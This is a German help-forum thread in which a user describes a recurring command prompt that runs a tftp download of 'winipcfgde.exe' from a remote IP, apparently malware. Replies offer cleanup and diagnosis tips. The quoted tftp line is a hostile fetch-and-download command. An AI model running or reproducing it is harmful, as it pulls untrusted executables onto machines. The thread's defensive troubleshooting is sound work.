Virus oder was?

[Herbert Leitner 10]

Hallo!

 

Ich habe eine Maschine, wo von selbst immer wieder eine Eingabeaufforderung gestartet wird, und darin der Befehl:

 

tftp -i 80.6.193.15 get winipcfgde.exe

 

Scheinbar versucht ein Programme, per FTFT eine DAtei vom Server 80.6.193.15 down zu loaden.

 

Das kann doch nur ein Virus sein?

Ich habe versucht, mich selbst midem Server zu verbinden. Es findet aber keine Übertragung statt und auf der Festplatte gibt es keine datei mit dem Namen winipcfgde.exe.

 

Komisch, ich finde keine Einträge in den Autostartordnern und verschiedene Antivierenprogramme finden keinen Virus.

 

Was kann das sein?

 

Gruß und DAnk!

Herbert

[mcdaniels 22]

Hey

 

Es hat mal winipcfg.exe gegeben unter Win9x glaub ich... das war an sich sowas wie ipconfig..

 

Firewall hast du installiert? würd mal versuchen zumindest den Befehl tftp zu blocken oder dergleichen, oder einfach mal ausgehende FTP Connections zu unterbinden, dass da nicht doch noch was passiert und den Fehler suchen.

 

Versuch evtl. mal den hier: F-Secure Blacklight > Rootkit Elimination Technology (geht noch bis oktober die Trial)

 

Zusatz: Mal mit dem Nai Stinger scannen - McAfee Threat Center

[Velius 10]

Die IP ist jedenfalls nicht un bekannt: Search: 80.6.193.15 - MetaCrawler

80.6.193.15 | Spam Server | Dictionary Attacker | IP Address Inspector | Project Honey Pot

 

Scheint mir aber mehr was Spam/Spyware mäsiges zu sein.

 

 

Hast wirklich alle Run Einträge abgeklappert (HKCU und default user)? Msconfig schon ausgeführt?

[marka 584]

Hast Du alle Registrywerte durchgecheckt, wo autostarts stehen?

[mcdaniels 22]

Nachsatz:

Die laufenden Prozesse wären u.U. auch interessant...

[Ultraschall 10]

Mein Tipp:

 

- Mit kaspersky Boot CD Rechner booten und einmal scnannen

- wenn die shell dann immer noch ausgeführt wird, dann kannst du die Tools, ProzessExplorer und Filemon/Regmon von Sysinternals benutzen und debugen.

 

Greetz...

[Squire 214]

NSLOOKUP wirft folgendes aus:

 

U:\>nslookup 80.6.193.15
Server:  locutus.unimatrix.local
Address:  10.0.0.1

Name:    spc3-warr4-0-0-cust270.bagu.broadband.ntl.com
Address:  80.6.193.15

 

scheint ein DSL Anschluss zu sein ... zumindest kommen bei einigen Suchmaschinen Hinweise auf DSL Speedtests

[Herbert Leitner 10]

Hast Du alle Registrywerte durchgecheckt, wo autostarts stehen?

 

Hallo!

 

Ja, ich verwende das Programm "Autoruns" von Sysinternals.

Das ist gut!

 

Gruß!

Herbert

[XP-Fan 215]

Hallo Herbert,

 

hast du mal mit HiJackThis überprüft ob nicht eine dll Datei deinen IE mißbraucht ?

[varnik 10]

Verwende doch das MS-Tool

Downloaddetails: Windows-Tool zum Entfernen bösartiger Software